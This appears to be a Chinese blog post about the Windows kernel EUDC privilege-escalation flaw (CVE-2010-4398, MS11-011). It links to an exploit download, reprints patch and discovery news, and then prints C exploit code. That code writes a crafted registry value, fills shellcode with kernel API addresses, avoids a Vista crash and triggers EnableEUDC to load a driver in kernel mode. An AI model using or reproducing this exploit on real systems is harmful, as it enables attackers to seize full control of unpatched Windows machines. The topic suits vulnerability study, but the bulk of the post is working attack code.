Elevation of privileges under Windows Vista/7 (UAC Bypass) 0day,Bypassing UAC with User Privilege under Windows Vista/7 - Mirror。
补丁出来了价值就不大了。
Exp下载地址:
http://www.exploit-db.com/sploits/uacpoc.zip
漏洞分析:
http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4398
漏洞介绍:
Windows 内核权限提升漏洞 (Windows“长老”漏洞)
安全公告:MS11-011
知识库编号:KB2393802
级别:重要
描述:本补丁修复了Windows内核中一处已经被公开披露的安全漏洞和一处秘密报告的安全漏洞,已经入侵系统的攻击者可能利用这些漏洞提升权限,进一步控制整个系统。
影响操作系统:Windows XP/2003/Vista/2008/Windows 7
漏洞修复:
北京时间2011年2月9日凌晨,微软2月安全更新发布了12个安全补丁,一举修复了22处漏洞,其中包括一个潜伏期长达19年的Windows“长老”漏洞(MS11-011),微软为此向全球首先发现该漏洞的360安全中心公开致谢。这是360第二次因独家发现Windows漏洞而受到微软致谢,也是迄今为止国内唯一获此殊荣的个人电脑安全厂商。
微软2月安全公告显示,本月漏洞补丁有3个“危急”级别、9个“重要”级别,危害较大的IE“圣诞”漏洞、Windows图形渲染引擎漏洞本次得到了修复。这两个漏洞的信息都已经在网上公开曝光多日,为此360安全卫士还分别发布过临时补丁。而本次公告中最值得关注的,是一个以潜伏期之长、威胁程度之高而刷新纪录的“长老”漏洞。
据360安全中心介绍,“长老”漏洞最早出现在1992年的早期Windows NT系统中,并影响到其后的所有Windows版本,比之前谷歌工程师发现的另一个Windows“高龄”漏洞还早一年。利用“长老”漏洞,木马病毒可以获得电脑的最高权限,从而轻而易举地破坏杀毒软件、防火墙、还原系统、沙箱等各类安全软件,使电脑丧失对木马病毒的抵抗力。
360安全中心是在2010年10月底独家发现“长老”漏洞的。发现该漏洞的巨大危害性后,360安全卫士紧急开发了独家的临时补丁,并主动为用户升级,比微软官方补丁早了两个月;同时,360迅速将技术细节通报给了微软应急安全响应中心(MSRC),以协助微软公司制作官方补丁。
“360安全产品有3.5亿用户,每天捕获新增木马样本200万,而大量新木马都是利用漏洞来传播和攻击安全软件,这使得360能够第一时间发现新的漏洞,并用最快速度开发出修复这些漏洞的临时补丁。”360安全专家石晓虹博士表示,在网上出现针对“长老”漏洞和IE“圣诞”漏洞等0day漏洞的攻击时,360安全卫士均迅速发布了独家的临时补丁,及时遏止了漏洞攻击的扩散,而且与之后微软发布的官方补丁完全兼容。
.text:BF81BA91 push esi ; Environment |
GDI32.EnableEUDC -> NtGdiEnableEudc -> GreEnableEUDC -> sub_BF81B3B4 -> sub_BF81BA0B -> RtlQueryRegistryValues (Overflow occurs) |
// Allocate buffer for the driver LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf)); BYTE* pMem; // shellcode DWORD ExpSize = 0; BYTE RegBuf[0x40] = {0}; // reg binary buffer pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(pMem, Data, sizeof(Data)); // Copy shellcode *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; // Point return value to our buffer ExpSize = 0x28; |
// Get the running kernel file name HMODULE hDll = GetModuleHandle(L"ntdll.dll"); pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation"); PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL; ULONG AllocSize = 0; fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize); pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize); fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize); HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES); //Relocation to the running kernel base DWORD Delta = (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel; free(pModInfo); // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns, // so we need a valid pool address to avoid BSOD. if(vi.dwBuildNumber < 7600) { FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C); HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC"); PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION)); AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize); pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize); for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++) { if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy) { *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18; break; } } free(pHandleInfo); } else { FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30); } // Now fills the API addresses needed FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta); FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta); FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta); FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta); FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta); FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta); FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta); FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta); FreeLibrary(hKernel); // Here we tell the shellcode(PE loader) where the driver buffer is. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf)); FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem); |
UINT codepage = GetACP(); TCHAR tmpstr[256]; _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); // Get current code page HKEY hKey; RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL); RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize); __try { EnableEUDC(TRUE); } __except(1) { } RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegCloseKey(hKey); |